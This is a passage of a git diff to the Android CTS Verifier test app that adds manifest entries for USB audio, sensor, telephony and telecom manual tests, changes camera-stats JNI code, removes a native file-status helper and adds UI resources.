+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+        </activity>
+
+        <activity android:name=".audio.USBAudioPeripheralRecordActivity"
+                  android:label="@string/audio_uap_record_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+        </activity>
+
+        <activity android:name=".audio.USBAudioPeripheralButtonsActivity"
+                  android:label="@string/audio_uap_buttons_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+        </activity>
+
         <activity android:name=".audio.AudioLoopbackActivity"
                   android:label="@string/audio_loopback_test">
             <intent-filter>
@@ -2753,6 +2963,21 @@
             </intent-filter>
         </activity-alias>
 
+        <!-- 6DoF sensor test -->
+        <activity
+                android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
+                android:label="@string/six_dof_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
+        </activity>
+        <activity
+                android:name="com.android.cts.verifier.sensors.sixdof.Activities.TestActivity"
+                android:label="@string/title_activity_cts">
+        </activity>
+
         <activity android:name=".voicemail.VoicemailBroadcastActivity"
           android:label="@string/voicemail_broadcast_test">
             <intent-filter>
@@ -2767,6 +2992,9 @@
                 <action android:name="android.intent.action.DIAL" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
         </activity>
 
         <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
@@ -2776,6 +3004,138 @@
         </receiver>
 
         <activity
+            android:name=".voicemail.VisualVoicemailServiceActivity"
+            android:label="@string/visual_voicemail_service_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity
+            android:name=".dialer.DialerIncomingCallTestActivity"
+            android:label="@string/dialer_incoming_call_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <service android:name=".dialer.DialerCallTestService"
+            android:permission="android.permission.BIND_INCALL_SERVICE">
+            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
+            <intent-filter>
+                <action android:name="android.telecom.InCallService"/>
+            </intent-filter>
+        </service>
+
+        <activity
+            android:name=".dialer.DialerShowsHunOnIncomingCallActivity"
+            android:label="@string/dialer_shows_hun_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity
+            android:name=".voicemail.CallSettingsCheckActivity"
+            android:label="@string/call_settings_check_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity
+            android:name=".voicemail.VoicemailSettingsCheckActivity"
+            android:label="@string/ringtone_settings_check_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity
+            android:name=".dialer.DialerImplementsTelecomIntentsActivity"
+            android:label="@string/dialer_telecom_intents_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telephony"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <service
+            android:name=".voicemail.CtsVisualVoicemailService"
+            android:permission="android.permission.BIND_VISUAL_VOICEMAIL_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.VisualVoicemailService"/>
+            </intent-filter>
+        </service>
+
+        <receiver android:name=".managedprovisioning.CompDeviceAdminTestReceiver"
+                android:label="@string/afw_device_admin"
+                android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin_comp_profile" />
+            <intent-filter>
+                <action android:name="android.app.action.PROFILE_PROVISIONING_COMPLETE"/>
+            </intent-filter>
+        </receiver>
+
+        <activity android:name=".managedprovisioning.CompHelperActivity">
+            <intent-filter>
+                <action android:name="com.android.cts.verifier.managedprovisioning.COMP_SET_ALWAYS_ON_VPN" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.COMP_INSTALL_CA_CERT" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.COMP_SET_MAXIMUM_PASSWORD_ATTEMPTS" />
+                <category android:name="android.intent.category.DEFAULT"></category>
+            </intent-filter>
+        </activity>
+
+        <activity
             android:name=".telecom.EnablePhoneAccountTestActivity"
             android:label="@string/telecom_enable_phone_account_test">
             <intent-filter>
@@ -2791,6 +3151,54 @@
                 android:value="android.hardware.telephony"/>
         </activity>
 
+        <activity
+            android:name=".telecom.OutgoingCallTestActivity"
+            android:label="@string/telecom_outgoing_call_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+            </activity>
+
+        <activity
+            android:name=".telecom.SelfManagedIncomingCallTestActivity"
+            android:label="@string/telecom_incoming_self_mgd_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <activity
+            android:name=".telecom.IncomingCallTestActivity"
+            android:label="@string/telecom_incoming_call_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
diff --git a/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk b/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk
new file mode 100644
index 0000000..d0ebbf4
--- /dev/null
+++ b/apps/CtsVerifier/assets/apk/CtsEmptyDeviceAdmin.apk
Binary files differ
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index e0d925c..42e2d26 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -23,8 +23,7 @@
 
 LOCAL_SRC_FILES := \
 		CtsVerifierJniOnLoad.cpp \
-		com_android_cts_verifier_camera_StatsImage.cpp \
-		com_android_cts_verifier_os_FileUtils.cpp
+		com_android_cts_verifier_camera_StatsImage.cpp
 
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
 
diff --git a/apps/CtsVerifier/jni/verifier/CtsVerifierJniOnLoad.cpp b/apps/CtsVerifier/jni/verifier/CtsVerifierJniOnLoad.cpp
index 399275b..158fca4 100644
--- a/apps/CtsVerifier/jni/verifier/CtsVerifierJniOnLoad.cpp
+++ b/apps/CtsVerifier/jni/verifier/CtsVerifierJniOnLoad.cpp
@@ -17,7 +17,6 @@
 #include <jni.h>
 #include <stdio.h>
 
-extern int register_com_android_cts_verifier_os_FileUtils(JNIEnv*);
 extern int register_com_android_cts_verifier_camera_its_StatsImage(JNIEnv*);
 
 jint JNI_OnLoad(JavaVM *vm, void *reserved) {
@@ -27,10 +26,6 @@
         return JNI_ERR;
     }
 
-    if (register_com_android_cts_verifier_os_FileUtils(env)) {
-        return JNI_ERR;
-    }
-
     if (register_com_android_cts_verifier_camera_its_StatsImage(env)) {
         return JNI_ERR;
     }
diff --git a/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_camera_StatsImage.cpp b/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_camera_StatsImage.cpp
index 16dff85..b7c96e2 100644
--- a/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_camera_StatsImage.cpp
+++ b/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_camera_StatsImage.cpp
@@ -27,32 +27,40 @@
 #include <string.h>
 
 jfloatArray com_android_cts_verifier_camera_its_computeStatsImage(JNIEnv* env, jobject thiz,
-        jbyteArray img, jint width, jint height, jint gridWidth, jint gridHeight)
+        // The full pixel array read off the sensor.
+        jbyteArray img,
+        jint width, jint height,
+        // The active array crop region.
+        jint aax, jint aay, jint aaw, jint aah,
+        // The size of each grid cell to use when computing stats from the active array.
+        jint gridWidth, jint gridHeight)
 {
     int bufSize = (int)(env->GetArrayLength(img));
     unsigned char *buf = (unsigned char*)env->GetByteArrayElements(img, /*is_copy*/NULL);
 
-    // Size of the raw image.
-    const int w = width;
-    const int h = height;
+    // Size of the full raw image pixel array.
+    const int paw = width;
+    const int pah = height;
     // Size of each grid cell.
     const int gw = gridWidth;
     const int gh = gridHeight;
     // Number of grid cells (rounding down to full cells only at right+bottom edges).
-    const int ngx = w / gw;
-    const int ngy = h / gh;
+    const int ngx = aaw / gw;
+    const int ngy = aah / gh;
 
     float *mean = new float[ngy*ngx*4];
     float *var = new float[ngy*ngx*4];
+    // For each grid cell ...
     for (int gy = 0; gy < ngy; gy++) {
         for (int gx = 0; gx < ngx; gx++) {
             float sum[4] = {0};
             float sumSq[4] = {0};
             int count[4] = {0};
-            for (int y = gy*gh; y < (gy+1)*gh; y++) {
+            // Iterate over pixels in the grid cell
+            for (int y = aay+gy*gh; y < aay+(gy+1)*gh; y++) {
                 int chnOffset = (y & 0x1) * 2;
-                unsigned char *pbuf = buf + 2*y*w + 2*gx*gw;
-                for (int x = gx*gw; x < (gx+1)*gw; x++) {
+                unsigned char *pbuf = buf + 2*y*paw + 2*gx*gw + 2*aax;
+                for (int x = aax+gx*gw; x < aax+(gx+1)*gw; x++) {
                     // input is RAW16
                     int byte0 = *pbuf++;
                     int byte1 = *pbuf++;
@@ -81,7 +89,7 @@
 }
 
 static JNINativeMethod gMethods[] = {
-    {  "computeStatsImage", "([BIIII)[F",
+    {  "computeStatsImage", "([BIIIIIIII)[F",
             (void *) com_android_cts_verifier_camera_its_computeStatsImage  },
 };
 
diff --git a/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_os_FileUtils.cpp b/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_os_FileUtils.cpp
deleted file mode 100644
index f2b8034..0000000
--- a/apps/CtsVerifier/jni/verifier/com_android_cts_verifier_os_FileUtils.cpp
+++ /dev/null
@@ -1,121 +0,0 @@
-/* 
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <jni.h>
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <grp.h>
-#include <pwd.h>
-#include <unistd.h>
-
-static jfieldID gFileStatusDevFieldID;
-static jfieldID gFileStatusInoFieldID;
-static jfieldID gFileStatusModeFieldID;
-static jfieldID gFileStatusNlinkFieldID;
-static jfieldID gFileStatusUidFieldID;
-static jfieldID gFileStatusGidFieldID;
-static jfieldID gFileStatusSizeFieldID;
-static jfieldID gFileStatusBlksizeFieldID;
-static jfieldID gFileStatusBlocksFieldID;
-static jfieldID gFileStatusAtimeFieldID;
-static jfieldID gFileStatusMtimeFieldID;
-static jfieldID gFileStatusCtimeFieldID;
-static jfieldID gFileStatusExecutableID;
-
-/* Copied from hidden API: frameworks/base/core/jni/android_os_FileUtils.cpp */
-jboolean com_android_cts_verifier_os_FileUtils_getFileStatus(JNIEnv* env, jobject thiz,
-        jstring path, jobject fileStatus, jboolean statLinks)
-{
-    const char* pathStr = env->GetStringUTFChars(path, NULL);
-    jboolean ret = false;
-    struct stat s;
-
-    int res = statLinks == true ? lstat(pathStr, &s) : stat(pathStr, &s);
-
-    if (res == 0) {
-        ret = true;
-        if (fileStatus != NULL) {
-            env->SetIntField(fileStatus, gFileStatusDevFieldID, s.st_dev);
-            env->SetIntField(fileStatus, gFileStatusInoFieldID, s.st_ino);
-            env->SetIntField(fileStatus, gFileStatusModeFieldID, s.st_mode);
-            env->SetIntField(fileStatus, gFileStatusNlinkFieldID, s.st_nlink);
-            env->SetIntField(fileStatus, gFileStatusUidFieldID, s.st_uid);
-            env->SetIntField(fileStatus, gFileStatusGidFieldID, s.st_gid);
-            env->SetLongField(fileStatus, gFileStatusSizeFieldID, s.st_size);
-            env->SetIntField(fileStatus, gFileStatusBlksizeFieldID, s.st_blksize);
-            env->SetLongField(fileStatus, gFileStatusBlocksFieldID, s.st_blocks);
-            env->SetLongField(fileStatus, gFileStatusAtimeFieldID, s.st_atime);
-            env->SetLongField(fileStatus, gFileStatusMtimeFieldID, s.st_mtime);
-            env->SetLongField(fileStatus, gFileStatusCtimeFieldID, s.st_ctime);
-        }
-        if (access(pathStr, X_OK) == 0) {
-            env->SetBooleanField(fileStatus, gFileStatusExecutableID, JNI_TRUE);
-        } else {
-            env->SetBooleanField(fileStatus, gFileStatusExecutableID, JNI_FALSE);
-        }
-    }
-
-    env->ReleaseStringUTFChars(path, pathStr);
-
-    return ret;
-}
-
-jstring com_android_cts_verifier_os_FileUtils_getUserName(JNIEnv* env, jobject thiz,
-        jint uid)
-{
-    struct passwd *pwd = getpwuid(uid);
-    return env->NewStringUTF(pwd->pw_name);
-}
-
-jstring com_android_cts_verifier_os_FileUtils_getGroupName(JNIEnv* env, jobject thiz,
-        jint gid)
-{
-    struct group *grp = getgrgid(gid);
-    return env->NewStringUTF(grp->gr_name);
-}
-
-static JNINativeMethod gMethods[] = {
-    {  "getFileStatus", "(Ljava/lang/String;Lcom/android/cts/verifier/os/FileUtils$FileStatus;Z)Z",
-            (void *) com_android_cts_verifier_os_FileUtils_getFileStatus  },
-    {  "getUserName", "(I)Ljava/lang/String;",
-            (void *) com_android_cts_verifier_os_FileUtils_getUserName  },
-    {  "getGroupName", "(I)Ljava/lang/String;",
-            (void *) com_android_cts_verifier_os_FileUtils_getGroupName  },
-};
-
-int register_com_android_cts_verifier_os_FileUtils(JNIEnv* env)
-{
-    jclass clazz = env->FindClass("com/android/cts/verifier/os/FileUtils");
-
-    jclass fileStatusClass = env->FindClass("com/android/cts/verifier/os/FileUtils$FileStatus");
-    gFileStatusDevFieldID = env->GetFieldID(fileStatusClass, "dev", "I");
-    gFileStatusInoFieldID = env->GetFieldID(fileStatusClass, "ino", "I");
-    gFileStatusModeFieldID = env->GetFieldID(fileStatusClass, "mode", "I");
-    gFileStatusNlinkFieldID = env->GetFieldID(fileStatusClass, "nlink", "I");
-    gFileStatusUidFieldID = env->GetFieldID(fileStatusClass, "uid", "I");
-    gFileStatusGidFieldID = env->GetFieldID(fileStatusClass, "gid", "I");
-    gFileStatusSizeFieldID = env->GetFieldID(fileStatusClass, "size", "J");
-    gFileStatusBlksizeFieldID = env->GetFieldID(fileStatusClass, "blksize", "I");
-    gFileStatusBlocksFieldID = env->GetFieldID(fileStatusClass, "blocks", "J");
-    gFileStatusAtimeFieldID = env->GetFieldID(fileStatusClass, "atime", "J");
-    gFileStatusMtimeFieldID = env->GetFieldID(fileStatusClass, "mtime", "J");
-    gFileStatusCtimeFieldID = env->GetFieldID(fileStatusClass, "ctime", "J");
-    gFileStatusExecutableID = env->GetFieldID(fileStatusClass, "executable", "Z");
-
-    return env->RegisterNatives(clazz, gMethods, 
-            sizeof(gMethods) / sizeof(JNINativeMethod)); 
-}
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index fe6f00f..cb307f1 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -2,10 +2,6 @@
     native <methods>;
 }
 
--keepclassmembers class com.android.cts.verifier.os.FileUtils$FileStatus {
-    private <fields>;
-}
-
 # ensure we keep public sensor test methods, these are needed at runtime
 -keepclassmembers class * extends com.android.cts.verifier.sensors.base.BaseSensorTestActivity {
     public <methods>;
@@ -33,7 +29,7 @@
 -dontwarn android.hardware.Sensor
 -dontwarn android.test.AndroidTestRunner
 -dontwarn java.util.concurrent.ConcurrentLinkedDeque
--dontwarn android.cts.util.**
+-dontwarn com.android.compatibility.common.util.**
 -dontwarn junit.**
 
 # Jack seems less rigorous than proguard when it comes to warning about
diff --git a/apps/CtsVerifier/res/drawable-hdpi/ic_place_white_24dp.png b/apps/CtsVerifier/res/drawable-hdpi/ic_place_white_24dp.png
new file mode 100644
index 0000000..7c281c3
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-hdpi/ic_place_white_24dp.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-hdpi/ic_save.png b/apps/CtsVerifier/res/drawable-hdpi/ic_save.png
new file mode 100644
index 0000000..a046efc
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-hdpi/ic_save.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-mdpi/ic_place_white_24dp.png b/apps/CtsVerifier/res/drawable-mdpi/ic_place_white_24dp.png
new file mode 100644
index 0000000..933eb51
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-mdpi/ic_place_white_24dp.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-mdpi/ic_save.png b/apps/CtsVerifier/res/drawable-mdpi/ic_save.png
new file mode 100644
index 0000000..c36e990
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-mdpi/ic_save.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xhdpi/ic_place_white_24dp.png b/apps/CtsVerifier/res/drawable-xhdpi/ic_place_white_24dp.png
new file mode 100644
index 0000000..814ca8d
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xhdpi/ic_place_white_24dp.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xhdpi/ic_save.png b/apps/CtsVerifier/res/drawable-xhdpi/ic_save.png
new file mode 100644
index 0000000..94d699e
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xhdpi/ic_save.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xxhdpi/ic_place_white_24dp.png b/apps/CtsVerifier/res/drawable-xxhdpi/ic_place_white_24dp.png
new file mode 100644
index 0000000..078b10d
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xxhdpi/ic_place_white_24dp.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xxhdpi/ic_save.png b/apps/CtsVerifier/res/drawable-xxhdpi/ic_save.png
new file mode 100644
index 0000000..5a0fbe4
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xxhdpi/ic_save.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xxxhdpi/ic_place_white_24dp.png b/apps/CtsVerifier/res/drawable-xxxhdpi/ic_place_white_24dp.png
new file mode 100644
index 0000000..8bcb6f6
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xxxhdpi/ic_place_white_24dp.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable-xxxhdpi/ic_save.png b/apps/CtsVerifier/res/drawable-xxxhdpi/ic_save.png
new file mode 100644
index 0000000..264ce97
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable-xxxhdpi/ic_save.png
Binary files differ
diff --git a/apps/CtsVerifier/res/drawable/border.xml b/apps/CtsVerifier/res/drawable/border.xml
new file mode 100644
index 0000000..b419618
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/border.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+Copyright (C) 2017 The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
+-->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+       android:shape="rectangle">
+    <corners
+        android:radius="4dp"/>
+    <stroke
+        android:width="4dp"
+        android:color="@android:color/black" />
+</shape>
diff --git a/apps/CtsVerifier/res/drawable/ic_usb_48.xml b/apps/CtsVerifier/res/drawable/ic_usb_48.xml
new file mode 100644
index 0000000..eebb4fb
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/ic_usb_48.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2016 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="48dp"
+    android:height="48dp"
+    android:viewportWidth="48.0"
+    android:viewportHeight="48.0">
+    <path
+        android:pathData="M30,14v8h2v4h-6V10h4l-6,-8 -6,8h4v16h-6v-4.14c1.41,-0.73 2.4,-2.16 2.4,-3.86 0,-2.43 -1.97,-4.4 -4.4,-4.4 -2.43,0 -4.4,1.97 -4.4,4.4 0,1.7 0.99,3.13 2.4,3.86V26c0,2.21 1.79,4 4,4h6v6.1c-1.42,0.73 -2.4,2.19 -2.4,3.9 0,2.43 1.97,4.4 4.4,4.4 2.43,0 4.4,-1.97 4.4,-4.4 0,-1.71 -0.98,-3.17 -2.4,-3.9V30h6c2.21,0 4,-1.79 4,-4v-4h2v-8h-8z"
+        android:fillColor="#757575"/>
+</vector>
diff --git a/apps/CtsVerifier/res/drawable/round_button.xml b/apps/CtsVerifier/res/drawable/round_button.xml
new file mode 100644
index 0000000..af5bff3
--- /dev/null
+++ b/apps/CtsVerifier/res/drawable/round_button.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <item android:top="8px">
+        <layer-list>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#08000000"/>
+                    <padding
+                            android:bottom="3px"
+                            android:left="3px"
+                            android:right="3px"
+                            android:top="3px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#09000000"/>
+                    <padding
+                            android:bottom="2px"
+                            android:left="2px"
+                            android:right="2px"
+                            android:top="2px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#10000000"/>
+                    <padding
+                            android:bottom="2px"
+                            android:left="2px"
+                            android:right="2px"
+                            android:top="2px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#11000000"/>
+                    <padding
+                            android:bottom="1px"
+                            android:left="1px"
+                            android:right="1px"
+                            android:top="1px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#12000000"/>
+                    <padding
+                            android:bottom="1px"
+                            android:left="1px"
+                            android:right="1px"
+                            android:top="1px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#13000000"/>
+                    <padding
+                            android:bottom="1px"
+                            android:left="1px"
+                            android:right="1px"
+                            android:top="1px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#14000000"/>
+                    <padding
+                            android:bottom="1px"
+                            android:left="1px"
+                            android:right="1px"
+                            android:top="1px"
+                    />
+                </shape>
+            </item>
+            <item>
+                <shape android:shape="oval">
+                    <solid android:color="#15000000"/>
+                    <padding
+                            android:bottom="1px"
+                            android:left="1px"
+                            android:right="1px"
+                            android:top="1px"
+                    />
+                </shape>
+            </item>
+
+            <item >
+                <shape android:shape="oval">
+                    <solid android:color="#00bfa5" />
+                </shape>
+
+            </item>
+
+        </layer-list>
+    </item>
+
+
+</layer-list>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout-land/usb_main.xml b/apps/CtsVerifier/res/layout-land/usb_main.xml
deleted file mode 100644
index 139b54b..0000000
--- a/apps/CtsVerifier/res/layout-land/usb_main.xml
+++ /dev/null
@@ -1,87 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-  
-          http://www.apache.org/licenses/LICENSE-2.0
-  
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        >
-    <LinearLayout android:orientation="horizontal"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:layout_weight="1"
-            >
-        <LinearLayout android:orientation="vertical"
-                android:layout_width="1px"
-                android:layout_height="match_parent"
-                android:layout_weight="1"
-                >
-            <TextView android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/usb_sent_messages"
-                    style="?android:attr/listSeparatorTextViewStyle"
-                    />
-            <FrameLayout android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-                    >
-                <ListView android:id="@+id/usb_sent_messages"
-                        android:layout_width="match_parent"
-                        android:layout_height="match_parent"
-                        />
-                <TextView android:id="@+id/usb_empty_sent_messages"
-                        android:layout_width="match_parent"
-                        android:layout_height="match_parent"
-                        android:gravity="center"
-                        android:text="@string/usb_no_messages"
-                        android:visibility="gone"
-                        />
-            </FrameLayout>
-        </LinearLayout>
-        <include layout="@layout/vertical_divider" />
-        <LinearLayout android:orientation="vertical"
-                android:layout_width="1px"
-                android:layout_height="match_parent"
-                android:layout_weight="1"
-                >
-            <TextView android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:text="@string/usb_received_messages"
-                    style="?android:attr/listSeparatorTextViewStyle"
-                    />
-            <FrameLayout android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-                    >
-                <ListView android:id="@+id/usb_received_messages"
-                        android:layout_width="match_parent"
-                        android:layout_height="match_parent"
-                        />
-                <TextView android:id="@+id/usb_empty_received_messages"
-                        android:layout_width="match_parent"
-                        android:layout_height="match_parent"
-                        android:gravity="center"
-                        android:text="@string/usb_no_messages"
-                        android:visibility="gone"
-                        />
-            </FrameLayout>
-        </LinearLayout>
-    </LinearLayout>
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout-port/fragment_accuracy.xml b/apps/CtsVerifier/res/layout-port/fragment_accuracy.xml
new file mode 100644
index 0000000..4ac4cdb
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-port/fragment_accuracy.xml
@@ -0,0 +1,59 @@
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+    <LinearLayout android:layout_width="match_parent"
+                  android:layout_height="match_parent"
+                  android:orientation="vertical">
+
